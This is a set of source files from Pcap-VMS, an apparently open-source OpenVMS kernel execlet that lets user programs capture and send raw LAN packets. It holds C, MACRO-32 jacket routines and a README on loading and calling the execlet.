int pcap$vcm_unload ()
{
int status;
int pages;
int cpuidx;
uint64 delta;
GENERIC_64 delta_time;
//
// Is the pointer good to the shared data?
//
if ( pcapvcm != 0 ) {
//
// Finally get rid of the shared data block
//
mmg_std$dealloc_sva ( 2, pcapvcm );
pcapvcm = 0;
}
return SS$_NORMAL;
}
//
// VCI callback routies
//
//
// Transmit done. We only allow one transmit at the time, this
// routine simply clears the trasmit in progress flag.
//
void pcap_txCompl( VCIBDLLDEF *vcib, VCRPDEF *request )
{
VCMCTX *vcmctx;
VCRPLANDEF *vcrp;
// Get context
vcmctx = request->vcrp$a_creator;
vcmctx->transmit_pending = 0;
vcmctx->last_error = request->vcrp$l_request_status;
vcmctx->stat.tr_packets++;
}
//
// Do nothing. We own the management VCRP an have a method for getting
// the status below.
//
void pcap_mgmCompl( VCIBDLLDEF *vcib, VCRPDEF *request )
{
uint64 status;
status = request->vcrp$l_request_status;
}
//
// Receive complete routine. Notice that the VCIB contains our
// context, so that we can fiddle... we assume we're going to
// ignore this packet.
//
void pcap_rxCompl( VCIBDEF *vcib, VCRPDEF *request )
{
int retry_count = 1;
int status = SS$_NORMAL;
int trash_it = 0;
PCAPVCIB *pcapvcib;
VCRPDEF *vcrpout;
VCMCTX *vcmctx;
//
// Get our port context
//
pcapvcib = (PCAPVCIB *) vcib;
vcmctx = (VCMCTX *) pcapvcib->vcmctx;
//
// Put into global receive queue, so no copy.
// Notice, at this time we're supposed to hold
// IOLOCK 8, so be as fast as possible
//
retry_count += pcapvcm->retry_count;
do {
status = __PAL_INSQHIL(vcib, request);
} while (status < 0 && retry_count-- > 0);
//
// If we failed to insert this item, drop it
//
if (status < 0) {
status = vci_delete_vcrp(request);
vcmctx->stat.recv_packets_dropped++;
return;
}
//
// Increase counter
//
vcmctx->stat.recv_packets++;
//
// Is the queue full?
//
vcib->vcib$w_size++;
if (vcib->vcib$w_size > vcmctx->recv_queue_size) {
status = __PAL_REMQTIL(vcib, (void *)&vcrpout);
vcib->vcib$w_size--;
if (status != 0) {
status = vci_delete_vcrp(vcrpout);
vcmctx->stat.recv_packets_dropped++;
}
}
//
// Update statistics
//
pcapvcm->curr_recv_queue_size = vcib->vcib$w_size;
vcmctx->stat.recv_queue_size = vcib->vcib$w_size;
}
//
// We reveived an event, just save it for now...
//
void pcap_event( VCIBDLLDEF *vcib, int event, int reason )
{
pcapvcm->last_mgm_event = event;
}
//
// Get the PCAP context
//
int pcap$vcm_get_context(PCAPVCM_64PP vcm)
{
int status;
if (pcapvcm != NULL) {
*vcm = pcapvcm;
status = SS$_NORMAL;
} else {
status = SS$_ACCVIO;
}
return status;
}
//
// Allocate a VCM port context. This must be done as the first thing
//
int pcap$vcm_alloc_port(VCMCTX_64PP vcmctx)
{
int status = SS$_NORMAL;
int pages;
VCMCTX_64P _align(QUADWORD) tmpctx;
uint64 real_size;
//
// Number of pages required for CPU context
//
pages = (sizeof(VCMCTX) + (mmg$gl_page_size - 1))/mmg$gl_page_size;
//
// Allocate a VCM context from NNP...
//
status = exe$allocate_pool(
sizeof(VCMCTX),
MMG$K_POOLTYPE_NPP,
6,
&real_size,
(VOID_PPQ) &tmpctx);
if ( !$VMS_STATUS_SUCCESS(status) ) {
return status;
}
memset(tmpctx, 0, sizeof(VCMCTX));
tmpctx->size = real_size;
tmpctx->lil = (LILDEF *)tmpctx->lilbuf;
tmpctx->recv_queue_size = pcapvcm->recv_queue_size;
INIT_LIL(tmpctx->lil, PCAP_LIL_SIZE);
*vcmctx = tmpctx;
return status;
}
//
// Deallocate a port block
//
int pcap$vcm_free_port(VCMCTX_64P vcmctx)
{
int status = SS$_NORMAL;
//
// TBD - Check state, to ensure we can do this...
//
//
// Dellocate our context...
//
exe$deallocate_pool(vcmctx, MMG$K_POOLTYPE_NPP, vcmctx->size);
return status;
}
//
// Get devices. We must copy, since LAN return a kernel only readable address
// Notice that this routine can be called multiple times until no more
// devices are found.
//
int pcap$vcm_getdevice(VCMCTX_64P vcmctx, CHAR_64P devnam)
{
int status = SS$_NORMAL;
uint32 id;
LDCDEF *ldc;
unsigned char *tmpname;
int len = 0;
id = vcmctx->ldcid;
status = vci_get_device(&id, &ldc);
if ($VMS_STATUS_SUCCESS(status)) {
vcmctx->ldcid = id;
tmpname = (unsigned char *) ldc->ldc$a_name;
len = (int) tmpname[0];
vcmctx->ldc.ldc$a_name = (void *) &vcmctx->devbuf[0];
memcpy(vcmctx->ldc.ldc$a_name, ldc->ldc$a_name, len+1);
memcpy(devnam, ldc->ldc$a_name, len+1);
devnam[len+1] = (char) 0;
vcmctx->ldc.ldc$l_type = ldc->ldc$l_type;
vcmctx->ldc.ldc$l_rcvsize = ldc->ldc$l_rcvsize;
vcmctx->ldc.ldc$l_devtype = ldc->ldc$l_devtype;
} else {
vcmctx->ldcid = 0;
}
return status;
}
//
// Create a port...
//
int pcap$vcm_create_port(VCMCTX_64P vcmctx, CHAR_64P device)
{
int status;
char tmpdev[128];
int len;
PCAPVCIB *pcapvcib;
len = (int) device[0];
memcpy(tmpdev, device, len+1);
//
// Add device to LIL
//
if (device) {
ADD_LIL_ADDR_VAL((LILDEF *)vcmctx->lil, DLL$K_LAN_DEVICE,
len+1, tmpdev);
}
//
// Initialize VCIB
//
status = init_vcib((VCIBDLLDEF *)&vcmctx->vcib, (LILDEF *) vcmctx->lil);
//
// Save context in our VCIB
//
pcapvcib = (PCAPVCIB *) &vcmctx->vcib;
pcapvcib->vcmctx = (VCMCTX *) vcmctx;
if $VMS_STATUS_SUCCESS(status) {
status = vci_create_port((VCIBDLLDEF *)&vcmctx->vcib);
}
return status;
}
//
// Delete a port
//
int pcap$vcm_delete_port(VCMCTX_64P vcmctx)
{
int status;
status = vci_delete_port((VCIBDLLDEF *)&vcmctx->vcib);
return status;
}
//
// Enable a port
//
int pcap$vcm_enable_port(VCMCTX_64P vcmctx, int p2len, CHAR_64P p2buf)
{
int status;
if (p2len > 0 && p2buf != NULL) {
memcpy(&vcmctx->p2_buf[0], p2buf, p2len);
vcmctx->p2ptr = (char *)&vcmctx->p2_buf[0];
vcmctx->p2len = p2len;
status = init_mgmt_vcrp((VCRPLANDEF *) &vcmctx->vcrp,
VCRP$K_FC_ENABLE_PORT, vcmctx->p2len, (char **)&vcmctx->p2ptr);
} else {
status = init_mgmt_vcrp((VCRPLANDEF *)&vcmctx->vcrp,
VCRP$K_FC_ENABLE_PORT, 0, 0);
}
if $VMS_STATUS_SUCCESS(status) {
status = vci_mgmt_port((VCRPLANDEF *)&vcmctx->vcrp,
(VCIBDLLDEF *)&vcmctx->vcib);
}
return status;
}
//
// Disable a port
//
int pcap$vcm_disable_port(VCMCTX_64P vcmctx)
{
int status = SS$_NORMAL;
status = init_mgmt_vcrp((VCRPLANDEF *)&vcmctx->vcrp,
VCRP$K_FC_DISABLE_PORT, 0, 0);
if $VMS_STATUS_SUCCESS(status) {
status = vci_mgmt_port((VCRPLANDEF *)&vcmctx->vcrp,
(VCIBDLLDEF *)&vcmctx->vcib);
}
return status;
}
//
// Get last management error.
//
int pcap$vcm_get_mgm_error(VCMCTX_64P vcmctx, CHAR_64P error)
{
int status = SS$_NORMAL;
VCRPDEF_64P vcrpptr;
vcrpptr = (VCRPDEF_64P) &vcmctx->vcrp;
// memcpy(error, &vcrpptr->vcrp$q_request_status, 8);
status = vcrpptr->vcrp$l_request_status;
return status;
}
//
// Get last error.
//
int pcap$vcm_get_last_error(VCMCTX_64P vcmctx)
{
int status;
status = (int) vcmctx->last_error;
return status;
}
//
// Read a packet. This is as simple as removing a VCRP from the
// queue in the VCIB.
//
int pcap$vcm_read_packet(VCMCTX_64P vcmctx, int len, CHAR_64P packet)
{
int retry_count = 10;
int status = SS$_NORMAL;
int status2;
int saved_ipl;
int vcrpsize;
VCRPDEF *vcrp;
VCIBDEF *vcib;
retry_count += pcapvcm->retry_count;
fork_lock(SPL$C_IOLOCK8, &saved_ipl);
//
// Remove from tail (FIFO style)
//
vcib = (VCIBDEF *)&vcmctx->vcib;
do {
status = __PAL_REMQTIL(vcib, (void *)&vcrp);
} while (status <= 0 && retry_count-- > 0);
//
// If we couldn't remove entry from queue, say so
//
if (status < 0) {
fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE);
return SS$_NOTQUEUED;
}
//
// If queue is empty, give up
//
if (status <= 0) {
return SS$_NOSUCHOBJECT;
}
//
// If this is the last entry in the queue, then indicate success
//
if (status == 2) {
status = SS$_NORMAL;
}
if (vcib->vcib$w_size > 0) {
vcib->vcib$w_size--;
}
vcrpsize = vcrp->vcrp$w_size;
if (vcrpsize > len) {
status = vci_delete_vcrp(vcrp);
fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE);
return SS$_INSFMEM;
}
//
// Copy the entire VCRP
//
memcpy(packet, vcrp, vcrpsize);
//
// Get rid of VCRP
//
status2 = vci_delete_vcrp(vcrp);
fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE);
return status;
}
//
// Send of a packet. The packet is assumed to be formatted correctly, so we'll
// just put it in a VCRP and send it on its way...
//
int pcap$vcm_send_packet(VCMCTX_64P vcmctx, int hdrlen, int len,
CHAR_64P rawpacket)
{
int status;
int saved_ipl;
int vcrpsize;
char *packptr;
VCRPDEF *base;
VCRPLANDEF *vcrp;
char *reshdr;
int built_hdrlen;
int pdulen;
//
// If we have an outstanding transmit, give up.
//
if (vcmctx->transmit_pending) {
return SS$_NOTHINGDONE;
}
vcmctx->transmit_pending = 1;
vcmctx->transmit_vcrp = (VCRPDEF *) &vcmctx->vcrpbuf[0];
vcrp = (VCRPLANDEF *) vcmctx->transmit_vcrp;
memset(vcrp, 0, 4096);
status = init_transmit_vcrp(vcrp);
base = (VCRPDEF *) vcrp;
//
// Point to where we're going to put the packet
//
packptr = (char *) vcrp + VCRP$T_LAN_DATA + LAN$C_MAX_HDR_SIZE + 8;
built_hdrlen = vci_build_header(packptr, &reshdr, 0, 0, (VCRPLANDEF *)&vcmctx->vcib);
//
// Save the port context address
//
base->vcrp$a_creator = (VCMCTX *)vcmctx;
//
// Build a frame
//
pdulen = (len-hdrlen) + built_hdrlen;
base->vcrp$l_boff = (char *) reshdr - (char *) base;
base->vcrp$l_bcnt = pdulen;
base->vcrp$l_total_pdu_size = pdulen;
base->vcrp$w_size = VCRP$T_LAN_DATA + len;
memcpy(&vcrp->vcrp$q_lan_t_dest, rawpacket, 6);
//
// Fiddle header
//
memcpy(reshdr, rawpacket, 6); // DA
memcpy(&reshdr[6], &rawpacket[6], 6); // SA
memcpy(&reshdr[12], &rawpacket[12], 2); // PTY
packptr = (char *) reshdr + built_hdrlen;
memcpy(packptr, (rawpacket+hdrlen), len-hdrlen);
//
// Send the frame
//
fork_lock(SPL$C_IOLOCK8, &saved_ipl);
status = vci_transmit_frame((VCRPLANDEF *)vcmctx->transmit_vcrp,
(VCIBDLLDEF *)&vcmctx->vcib);
fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE);
//
// If, by any chance, the transmit is complete, return the status
//
if (vcmctx->transmit_pending == 0) {
status = (int) base->vcrp$q_request_status;
} else {
status = SS$_OPINPROG;
}
return status;
}
//
// Build a header and return it to the user
//
int pcap$vcm_build_header(VCMCTX_64P vcmctx, int len, CHAR_64P header)
{
int status = SS$_NORMAL;
char *reshdr;
char *hdrptr;
int hdrlen;
//
// Set up pointer to (the middle of) header
//
hdrptr = (char *)&vcmctx->hdr[64];
//
// Build the header
//
hdrlen = vci_build_header(hdrptr, &reshdr, 0, 0, (VCRPLANDEF *)&vcmctx->vcib);
//
// Copy header just built
//
if (hdrlen > len) {
hdrlen = len;
}
memcpy(header, reshdr, hdrlen);
return hdrlen;
}
//
// Retreive statistics for this VCI port
//
int pcap$vcm_get_statistics(VCMCTX_64P vcmctx, CHAR_64P stats)
{
int status = SS$_NORMAL;
PCAPSTAT *statptr;
statptr = (PCAPSTAT *) stats;
statptr->recv_packets = vcmctx->stat.recv_packets;
statptr->recv_packets_dropped = vcmctx->stat.recv_packets_dropped;
statptr->recv_queue_size = vcmctx->stat.recv_queue_size;
statptr->tr_packets = vcmctx->stat.tr_packets;
statptr->tr_failed = vcmctx->stat.tr_failed;
return status;
}

220
Pcap-VMS/pcapvcm/pcapvcm.h Normal file
View File

@@ -0,0 +1,220 @@
/* pcapvcm.h - packet capturing execlet
Copyright (c) 2003, Anders "ankan" Ahgren
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//***************************************************************************
//
//
// FACILITY:
//
// Dynamic Loadable Execlet for PCAP
//
//
// ABSTRACT:
//
// This module implements a VCM for the LAN driver
//
//
// AUTHOR:
//
// Ankan
//
// CREATION DATE: 21-Mar-2003
//
// DESIGN ISSUES:
//
// {@tbs@}
//
// REVISION HISTORY:
//
// X-1 Ankan Anders Ahgren 21-Mar-2003
// Initial version.
//
#ifndef __PCAPVCM_H_
#define __PCAPVCM_H_
#include <lanudef.h>
#include <ldcdef.h>
#include <vcibdef.h>
#include <vcibdlldef.h>
#include <vcrpdef.h>
#include <vcrplandef.h>
#include <lildef.h>
#include <dyndef.h>
#include <ints.h>
typedef struct vcrpdef VCRPDEF;
typedef struct vcibdef VCIBDEF;
#define PCAPVCM$K_REVISION 1
#define PCAPVCM$K_RECV_QUEUE_SIZE 32
#define PCAPVCM$K_RECV_MIN_QUEUE_SIZE 1
#define PCAPVCM$K_RECV_MAX_QUEUE_SIZE 255
#define PCAPVCM$K_RECV_QUEUE_RETRY 16
// LIL stuff
#define PCAP_LIL_SIZE 512
typedef struct _lil_item {
short len;
short tag;
char val;
} LILITEM;
#define INIT_LIL(lil, len) \
{ \
(lil)->lil$l_listlen = 0; \
(lil)->lil$a_listadr = (char *) (lil) + LIL$T_DATA; \
(lil)->lil$w_size = len + sizeof(LILDEF); \
(lil)->lil$b_type = DYN$C_DECNET; \
(lil)->lil$b_subtype = DYN$C_NET_ITEM; \
}
#define ADD_LIL_ITEM(lil, tag, len, val) \
add_lil_item(lil, len, tag, val);
#define ADD_LIL_ADDR_VAL(lil, len, tag, val) \
add_lil_addr_value(lil, tag, len, val);
// LIL prototypes for the above
void add_lil_item(LILDEF *lil, int len, int tag, char *value);
void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value);
// LAN P2 buffer stuff
#define ADD_INT_VAL(buf, code, val) \
buf = add_int_value(buf, code, val);
#define ADD_CNT_VAL(buf, code, len, val) \
buf = add_counted_value(buf, code, len, val);
// LAN P2 helper prototypes
char *add_int_value(char *buf, short code, int value);
char *add_counted_value(char *buf, short code, short len, char *value);
int find_value(int buflen, char *buf, short code, char *retbuf);
// VCIB helpers
int init_vcib(VCIBDLLDEF *vcib, LILDEF *lil);
// VCRP helpers
int init_mgmt_vcrp(VCRPLANDEF *vcrplan, int func, int p2len, char **p2buf);
int init_transmit_vcrp(VCRPLANDEF *vcrplan);
// Pointer tricks, since we give and take from user mode...
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
typedef char * CHAR_64P;
typedef void * VOID_64P;
typedef LILDEF * LILDEF_64P;
typedef VCRPDEF * VCRPDEF_64P;
#pragma __required_pointer_size __short
typedef LILDEF * LILDEF_32P;
typedef char * CHAR_32P;
#pragma __required_pointer_size __restore
// Statistics...
typedef struct _pcapstat {
long recv_packets;
long recv_packets_dropped;
long recv_queue_size;
long tr_packets;
long tr_failed;
} PCAPSTAT;
// Shared structure
typedef struct _pcapvcm {
unsigned short int mbo;
unsigned char type;
unsigned char subtype;
int size;
int revision;
int recv_queue_size;
int curr_recv_queue_size;
int retry_count;
int last_mgm_event; // Last management event
int (*get_context)();
int (*unload_execlet)();
int (*get_device)();
int (*alloc_port)();
int (*free_port)();
int (*create_port)();
int (*delete_port)();
int (*enable_port)();
int (*disable_port)();
int (*get_mgm_error)();
int (*get_last_error)();
int (*read_packet)();
int (*send_packet)();
int (*build_header)();
int (*get_statistics)();
} PCAPVCM;
// Our private VCIB definition, we need a context block in there
typedef struct __pcapvcib {
VCIBDLLDEF vcib;
struct _vcmctx *vcmctx;
} PCAPVCIB;
#pragma member_alignment __save
#pragma nomember_alignment __quadword
// Per client context
typedef struct _vcmctx {
PCAPVCIB vcib;
VCRPLANDEF vcrp;
VCRPDEF *transmit_vcrp;
int transmit_vcrp_size;
int recv_queue_size;
uint32 flags;
uint32 transmit_pending;
uint64 size;
uint64 last_error;
struct _ldcdef ldc;
uint32 ldcid;
char devbuf[128];
LILDEF_64P lil;
char lilbuf[sizeof(LILDEF)+PCAP_LIL_SIZE];
char *hdrptr;
char hdr[128];
int p2len;
char *p2ptr;
char p2_buf[128]; // P2 buffer
char vcrpbuf[4096]; // VCRP buffer (for transmit)
PCAPSTAT stat; // Statistics
} VCMCTX;
#pragma member_alignment __restore
//...and more pointer tricks
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
typedef PCAPVCM * PCAPVCM_64P;
typedef PCAPVCM ** PCAPVCM_64PP;
typedef VCMCTX * VCMCTX_64P;
typedef VCMCTX ** VCMCTX_64PP;
#pragma __required_pointer_size __restore
// VCI jacket routines. These are written in MACRO, due to JSBs
extern int vci_get_device(uint32 *, LDCDEF **);
extern int vci_create_port(VCIBDLLDEF *vcib);
extern int vci_delete_port(VCIBDLLDEF *vcib);
extern int vci_delete_vcrp(VCRPDEF *vcrp);
extern int vci_mgmt_port(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib);
extern int vci_transmit_frame(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib);
extern int vci_build_header(char *header, char **reshdr, int *x802,
int *r802, VCRPLANDEF *vcrp);
#endif /* __PCAPVCM_H_ */

1016
Pcap-VMS/pcapvcm/pcapvcm.map Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,18 @@
.TITLE PCAPVCM_INIT
.IDENT /X-1/
.LIBRARY /SYS$LIBRARY:LIB.MLB/
$SSDEF
.ENABLE LOCAL_BLOCK
;
; Store the pointer to the context routine. This will become (hopefully)
; the base address of the execlet when it is loaded.
;
.PSECT $$$100_DATA noexe,quad
.long pcap$vcm_get_context
.DISABLE LOCAL_BLOCK
.END

View File

@@ -0,0 +1,82 @@
This is a VMS execlet which implements a VMS Communications Module (VCM)
for the VMS Communications Interface (VCI)
In order to use the execlet it must be placed in SYS$LOADABLE_IMAGES and
must be loaded with the dynamic loader in order to get the address of
the context block used to communicate with the execlet. This is
accomplished as follows:
...
static PCAPVCM *pcapvcm = 0;
LDRHANDLE reference_handle;
void *rtnptr = 0;
$DESCRIPTOR(execlet_name, "PCAPVCM");
int is_loaded = 0;
....
//
// Load the execlet and get the execlet context block
//
int load_execlet ()
{
int status;
LKP *symvec; /* Pointer to symbol vector */
int (*getContext)(PCAPVCM **);
/* Try referencing execlet first, in case it is already loaded */
status = LDR$REF_INFO (&execlet_name, &reference_handle);
/* If error, must not be loaded yet */
if (status != SS$_NORMAL)
{
/* Load execlet */
status = LDR$LOAD_IMAGE (&execlet_name, LDR$M_UNL, &reference_handle);
}
if ($VMS_STATUS_SUCCESS(status)) {
// Indicate that we've loaded the execlet
is_loaded = 1;
// Get the shared context. We built the execlet so that the address
// of the routine that does this is at home base...
rtnptr = *(void **)reference_handle.ldrimg_ptr->ldrimg$l_nonpag_w_base;
if (rtnptr) {
getContext = (int (*)())rtnptr;
status = (*getContext)(&pcapvcm);
}
}
return(status);
}
The execlet is callable by means of using sys$cmkrl_64, for instance the
following allocates a VCI port:
//
// Tell the PCAPVCM execlet to allocate a VCI port
//
int pcapvci_alloc_port(VCMCTX **ctx)
{
int status;
uint64 arglist[2];
arglist[0] = 1;
arglist[1] = (uint64) ctx;
status = sys$cmkrnl_64(pcapvcm->alloc_port, arglist);
return status;
}
For more information on how to use the execlet, see the pcap_client.c module.
There is also a set of C jacket routines for the PCAPVCM execlet in the
PCAP-VCI directory all in the PCAPVCI.C module.
Notice that the execlet does *not* check for invalid data in anyway. If
invalid data, such as a bad pointer, is passed to the execlet the system
will crash.
It is also not posible to unload the execlet once it is built, due to the
somewhat incorrect way in which it is built. If you don't like it fix it.
If you enhance this execlet please let me know at ankan@hp.com, thanks.

View File

@@ -0,0 +1,186 @@
.TITLE VCI_JACKET
.IDENT /X-1/
; Copyright (c) 2003, Anders "ankan" Ahgren
;
; Permission is hereby granted, free of charge, to any person obtaining a
; copy of this software and associated documentation files (the "Software"),
; to deal in the Software without restriction, including without limitation
; the rights to use, copy, modify, merge, publish, distribute, sublicense,
; and/or sell copies of the Software, and to permit persons to whom the
; Software is furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
; ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
;++
; FACILITY: PCAPVCM
;
; FUNCTIONAL DESCRIPTION:
;
; A set of jacket routines to allow C to easily use the VCI
; JSB interface.
;
; ENVIRONMENT: Kernel mode
;
; AUTHOR: Ankan, CREATION-DATE: 30-Mar-2003
;
; MODIFIED BY:
;
; X-1 Ankan 30-Mar-2003
; Initial version
;--
.library /sys$share:starlet.mlb/
.library /sys$share:lib.mlb/
.library /sys$share:lanudef.mlb/
.library /sys$share:lanidef.mlb/
; $LANIDEFS
$LANUDEF
$VCRPDEF
$VCRPLANDEF
$VCIBDEF
$VCIBDLLDEF
$SSDEF
.PSECT $CODE,SHR,EXE,NOWRT,PIC,LONG
.SBTTL VCI JSR jacket routines
; VCI_GET_DEVICE
; 4(AP) Address of id
; 8(ap) Address of LDC
;
.entry vci_get_device, ^m<r2,r3>
movl g^net$ar_lan_vector, r3 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r3) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r0 ; Get address of id
movl (r0), r0 ; ...and id
jsb @lan$a_get_device(r3) ; Go get device
cmpl #0, r1 ; No more devices?
beql 10$ ; Nope, indicate that
movl 4(ap), r2 ; Get address for id
movl r0, (r2) ; Save id
movl 8(ap), r2 ; Get address of LDC
movl r1, (r2) ; Move in LDC
movl #ss$_normal, r0 ; Ok
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
.entry vci_create_port, ^m<r2,r3, r4>
movl g^net$ar_lan_vector, r3 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r3) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r4 ; Get address of vcib
jsb @lan$a_create_port(r3) ; Go create the port
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
.entry vci_delete_port, ^m<r2,r3, r4>
movl g^net$ar_lan_vector, r3 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r3) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r4 ; Get address of vcib
jsb @lan$a_delete_port(r3) ; Go delete the port
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
;
; 4(ap) VCRP
; 8(ap) VCIB
.entry vci_mgmt_port, ^m<r2,r3, r4>
movl g^net$ar_lan_vector, r2 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r2) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r3 ; Get address of vcrp
movl 8(ap), r4 ; Get address of vcib
jsb @vcib$a_portmgmt_initiate(r4) ; Go enable the port
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
;
; 4(ap) VCRP
.entry vci_delete_vcrp, ^m<r2,r3, r4>
movl g^net$ar_lan_vector, r2 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r2) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r3 ; Get address of vcrp
jsb @vcrp$a_dealloc_rtn(r3) ; Delete VCRP
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
;
; 4(ap) VCRP
; 8(ap) VCIB
.entry vci_transmit_frame, ^m<r2,r3, r4>
movl g^net$ar_lan_vector, r2 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r2) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r3 ; Get address of vcrp
movl 8(ap), r4 ; Get address of vcib
jsb @vcib$a_lan_transmit_frame(r4) ; ...send off the packet
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
;
; 4(ap) - address of where to build header
; 8(ap) - address of where to return header
; 12(ap) - address of 802 transmit longword
; 16(ap) - if 802 address of response byte
; 20(ap) - address of vcrp
.entry vci_build_header, ^m<r2,r3, r4>
movl g^net$ar_lan_vector, r2 ; Get LAN vector
beql 20$ ; No LAN vector, give up
cmpl #1, lan$l_version(r2) ; Check version
blss 10$ ; If less than zero, give up
movl 4(ap), r0 ; Get address header
movl 12(ap), r1 ; 802 xmit longword
movl 16(ap), r2 ; 802 response flag
movl 20(ap), r4 ; vcrp address
jsb @vcib$a_lan_build_hdr(r4) ; build us a header
movl 8(ap), r2 ; Get return address
movl r0, (r2) ; Save address
movl r3, r0 ; Save final size
ret
10$: movl #ss$_nosuchdev, r0
ret
20$: movl #ss$_accvio, r0
ret
.END

148
Pcap-VMS/pcapvcm/vcmutil.c Normal file
View File

@@ -0,0 +1,148 @@
/* vcmutil.c - VCM helper routines
Copyright (c) 2003, Anders "ankan" Ahgren
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//***************************************************************************
//
//
// FACILITY:
//
// Dynamic Loadable Execlet for PCAP
//
//
// ABSTRACT:
//
// This module contains helper routines for the PCAP VCM.
//
// AUTHOR:
//
// Ankan
//
// CREATION DATE: 21-Mar-2003
//
// DESIGN ISSUES:
//
// {@tbs@}
//
// REVISION HISTORY:
//
// X-1 Ankan Anders Ahgren 21-Mar-2003
// Initial version.
//
#include <string.h>
#include <stdlib.h>
#include "pcapvcm.h"
void add_lil_item(LILDEF *lil, int len, int tag, char *value)
{
LILITEM *lilitm;
lilitm = (LILITEM *)lil->lil$a_listadr + lil->lil$l_listlen;
lilitm->len = len + 4; // Includes len and tag!
lilitm->tag = tag;
memcpy((char *)&lilitm->val, value, len);
lil->lil$l_listlen = len + 4; // 4 is len+tag
}
void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value)
{
LILITEM *lilitm;
char **foo;
char *tmp;
lilitm = (LILITEM *) lil->lil$a_listadr + lil->lil$l_listlen;
lilitm->len = len + 4; // Includes len and tag!
lilitm->tag = tag;
foo = (char **) &lilitm->val;
*foo = (char *) &lilitm->val + sizeof(char *);
tmp = *foo;
memcpy(tmp, value, len);
lil->lil$l_listlen = len + 4 + sizeof(char *); // 4 is len+tag
}
/*
** Ethernet device setup helper routines
*/
char *add_int_value(char *buf, short code, int value)
{
char *tmpptr = buf;
short *sptr;
int *iptr;
sptr = (short *)tmpptr;
*sptr = (short) code;
tmpptr += 2;
iptr = (int *) tmpptr;
*iptr = 0;
*iptr = (int) value;
tmpptr += 4;
return tmpptr;
}
char *add_counted_value(char *buf, short code, short len, char *value)
{
char *tmpptr = buf;
short *sptr;
sptr = (short *)tmpptr;
*sptr = (short) code;
tmpptr += 2;
sptr = (short *) tmpptr;
*sptr = (short) len;
tmpptr += 2;
memcpy(tmpptr,value,len);
tmpptr += len;
return tmpptr;
}
int find_value(int buflen, char *buf, short code, char *retbuf)
{
int i = 0;
int item;
char *tmpbuf = buf;
int value;
